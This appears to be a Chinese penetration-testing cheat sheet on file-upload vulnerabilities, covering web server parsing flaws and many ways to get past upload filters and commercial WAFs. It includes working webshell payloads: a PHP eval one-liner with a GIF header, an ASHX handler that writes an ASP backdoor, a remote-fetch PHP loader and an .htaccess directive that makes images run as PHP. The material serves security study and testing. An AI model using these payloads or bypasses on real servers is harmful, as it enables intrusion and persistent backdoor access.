文件上传漏洞

webshell 简介

W e b S h e l l 就是以a s p 、p h p 、j s p 或者c g i 等网页文件形式存在的一种
命令执行环境, 也可以将其称之为一种网页后门。
W e b S h e l l 后门隐蔽较性高,可以轻松穿越防火墙,访问W e b S h e l l 时不会留下系统日志, 只会在网站的w e b 日志中留下一些数据提交记录

文件上传漏洞原理

  • 1、文件上传漏洞形成的原因
    ① 对于上传文件的后缀名( 扩展名) 没有做较为严格的限制
    ② 对于上传文件的M I M E T Y P E ( 用于描述文件的类型的一种表述方法) 没有
    做检查
    ③ 权限上没有对于上传的文件目录设置不可执行权限, ( 尤其是对于
    s h e b a n g 类型的文件)
    ④ 对于w e b s e r v e r 对于上传文件或者指定目录的行为没有做限制
  • 2、文件上传漏洞的原理
    网站W e b 应用都有一些文件上传功能, 比如文档、图片、头像、视频
    上传, 当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,
    此时攻击者就可以上传一个w e b s h e l l 到一个W e b 可访问的目录上, 并将恶
    意文件传递给如P H P 解释器去执行, 之后就可以在服务器上执行恶意代码,
    进行数据库执行、服务器文件管理, 服务器命令执行等恶意操作。还有一
    部分是攻击者通过W e b 服务器的解析漏洞来突破W e b 应用程序的防护。

文件上传校验姿势

  • 客户端javascript校验(一般只校验后缀名)
    • 可以采用白名单,也可以采用黑名单的方式
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 文件内容头校验(二进制,GIF89a)
    • 文件加载检测:一般是调用AP I 或函数去进行文件加载测试,例如图像渲
      染测试, 当测试结果正常的时候才允许上传
      一次渲染( 代码注入)
      二次渲染
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

解析漏洞

攻击者在利用上传漏洞时, 通常会与W e b 容器的解析漏洞配合在一起。
常见的W e b 容器有I I S 、N g i n x 、A p a c h e 、T o m c a t 。

  • I I S 解析漏洞:(基于I I S 6 . 0 环境)
    • iis6.0畸形解析:asa、cer
    • iis6.0目录解析漏洞:
      当建立* . a s a * . a s p 格式的文件夹时, 其目录下的任意文件都将被I I S 当做a s p 文件来解析。
    • iis6.0文件解析漏洞:
      只要文件名中含有.asp;会优先按asp来解析。
      测试案例: 创建文件名为t e s t . a s p ; 1 . j p g , 其内容为< % = N O W ( ) % >
    • IIS7.5文件解析:test.jpg/.php
    • WebDav:基于HTTP1.1协议的通用协议,如果服务器开启,则可能支持PUT、Move、Copy、Delete
      • 可以通过OPTIONS方法探测服务器所支持的HTTP方法,如:
        OPTIONS / HTTP1.1
        Host: www.baidu.com
  • A p a c h e 解析漏洞:(基于apache1.x和apache2.x)
    • A p a c h e 在解析文件名的原理:
      当遇到不认识的扩展名, 将会从后向前解析, 直到碰到认识的扩展名。
      如文件名为1 . p h p . a a , 首先解析a a 扩展名, 发现不认识继续向前面遍历。若果都不认识,则会暴露其源代码。
    • 配置apache可识别的拓展名:apache安装目录下的/conf/mime.types文件
  • P H P C G I ( N g i n x ) 解析漏洞:
    • 对任意文件名只要在URL后面追加上字符串/任意文件名.php就会按照php的方式去解析。
      如:访问xxx.xx.com/1.jpg/1.php,在访问UR L 时,当N g i n x 服务器遇到1 . p h p 是不存在的文件时, 便会向前遍历解析,1.jpg会按照php脚本来解析,于是造成解析漏洞
    • 在P H P 的配置文件中有一个选项: cg i . f i x _ p a t h i n f o = T r u e, 在访问UR L 时,当N g i n x 服务器遇到1 . p h p 是不存在的文件时, 便会向前遍历解析。c g i . f i x _ p a t h i n f o 默认是开启的
  • Nginx解析漏洞
    • 一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
    • 还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
      (任意文件名)%00.php

分类总结一下绕过手段(绕过常与解析漏洞一起使用)

前端限制绕过

  • 中间人攻击
    • 使用BURP抓包修改后重放
  • 或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

服务器端绕过

  • 黑名单后缀绕过
    • 从黑名单中找到web开发人员忽略的扩展名,如:.cer
    • 大小写、双写等等
    • Windows系统下,如果文件名以.空格结尾,系统会自动去除.空格后的内容,利用此特性也可绕过
  • MIME类型绕过
    • 上传木马时,提示格式错误。直接抓包修改Content-Type为正确的格式尝试绕过
  • 目录验证
    • 上传时,通常允许将文件上传到指定目录。如果指定的目录存在,则直接上传,如果目录不存在,则建立目录并上传
  • 00截断绕过上传
    在asp程序中最常见
    • 在URL中使用 %00
    • 在burp中使用时,先将文件命名为形如:1.asp空格ha.jpg,然后进入hex,将空格20改为16进制数00
      alt
  • 文件内容检测绕过
    • 针对文件内容检测的绕过,一般有两种方式,

      • 1.制作图片马

        • 将马写入到图片中
      • 2.文件幻术头绕过

        • 在文件内容开头加入GIF89a。GIF89a图片头文件欺骗,使用getimagesize函数无法判断其图片是无效的。
        • GIF89a<script language='php'>@eval($_POST['ye']);</script>

文本编辑器上传漏洞

多次上传Win特性绕过

  • 多次上传同一个文件,windows会自动更新补全TEST (1).php
    有时会触发条件竞争,导致绕过。

条件竞争绕过

  • 通过BURP不断发包,导致不断写入Webshell,再写入速度频率上超过安全软件查杀频率,导致绕过。

CONTENT-LENGTH绕过

针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。
上传文件的大小取决于,Web服务器上的最大长度限制。
我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。

垃圾数据填充绕过

  • 修改HTTP请求,再之中加入大量垃圾数据。

文件扩展名绕过

php除了可以解析php后缀还可以解析php2、php3、php4、php5、php7、phtml、phps、pht

ashx上传绕过

  • cer,asa,cdx等等无法使用时候。

  • 解析后就会生成一个test.asp的马,你就可以连接这个test.asp 密码为:put

<%@WebHandlerLanguage="C#"Class="Handler"%> usingSystem; usingSystem.Web; usingSystem.IO; publicclassHandler:IHttpHandler{ publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain"; //这里会在目录下生成一个test.asp的文件 StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp")); //这里是写入一句话木马 密码是:put file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } publicboolIsReusable{ get{ returnfalse; } } }

Windows流特性绕过

  • php在windows的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA之前的文件名。
    如:Test.php::$DATA.jpg 生成0.jp

白名单后缀绕过

  • IIS 6.0目录路径检测解析绕过
    • 上传路径改为 XXX/1.asp/

htaccess解析漏洞

  • 上传的jpg文件都会以php格式解析
  • .htaccess内容: AddType application/x-httpd-php .jpg
  • CVE-2017-15715,这个漏洞利用方式就是上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑名单过滤。

下载绕过

远程下载文件绕过

<?php
$str = file_get_contents('http://127.0.0.1/ian.txt'); $str($_post['ian']);
?>

文件包含绕过

上传图片木马
$x=$_GET['x'];
include($x);
访问:http://www.xxxx.com/news.php?x=xxxxxx.jpg

安全狗绕过

  • 1.绕过思路:对文件的内容,数据,数据包进行处理。

    • 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"

    • 将form-data;修改为~form-data;

  • 2.通过替换大小写来进行绕过

    • Content-Disposition: form-data; name="file"; filename="yjh.php"

    • Content-Type: application/octet-stream

    • 将Content-Disposition修改为content-Disposition

    • 将 form-data 修改为Form-data

    • 将Content-Type修改为content-Type

  • 3.通过删减空格来进行绕过

    • Content-Disposition: form-data; name="file"; filename="yjh.php"

    • Content-Type: application/octet-stream

    • 将Content-Disposition: form-data 冒号后面增加或减少一个空格

    • 将form-data; name="file";分号后面增加或减少一个空格

    • 将Content-Type: application/octet-stream 冒号后面增加一个空格

  • 4.通过字符串拼接绕过

    • Content-Disposition: form-data; name="file"; filename="yjh3.php"

    • 将 form-data 修改为 f+orm-data

    • 将from-data 修改为 form-d+ata

  • 5.双文件上传绕过
    <formaction="https://www.xxx.com/xxx.asp(php)"method="post"name="form1"enctype="multipart/form-data">
    <inputname="FileName1"type="FILE"class="tx1"size="40">
    <inputname="FileName2"type="FILE"class="tx1"size="40">
    <inputtype="submit"name="Submit"value="上传">
    </form>

  • 6.HTTP header 属性值绕过

    • Content-Disposition: form-data; name="file"; filename="yjh.php"
    • 我们通过替换form-data 为*来绕过
    • Content-Disposition:*; name="file"; filename="yjh.php"
  • 7.HTTP header 属性名称绕过

    • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    • Content-Type: image/png
    • 绕过内容如下:
      • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
      • C.php"
      • 删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php"
  • 8.等效替换绕过

    • 原内容:

      • Content-Type: multipart/form-data; boundary=---------------------------471463142114
    • 修改后:

      • Content-Type: multipart/form-data; boundary =---------------------------471463142114
    • boundary后面加入空格

  • 9.修改编码绕过

    • 使用UTF-16、Unicode、双URL编码等等

WTS-WAF 绕过上传

  • 原内容:
    • Content-Disposition: form-data; name="up_picture"; filename="xss.php"
  • 添加回车
    • Content-Disposition: form-data; name="up_picture"; filename="xss.php"

百度云上传绕过

百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话,,自己合成图片马用Xise连接即可。

  • Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

阿里云上传绕过

  • 源代码:

    • Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"
    • Content-Type:image/jpeg
  • 修改如下:

    • Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
  • 没错,将=号这里回车删除掉Content-Type: image/jpeg即可绕过。

360主机上传绕过

  • 源代码:
    • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    • Content-Type: image/png
  • 绕过内容如下:
    • Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
    • Content-Disposition 修改为 Content-空格Disposition
原文地址:https://www.cnblogs.com/hacker-snail/p/13925902.html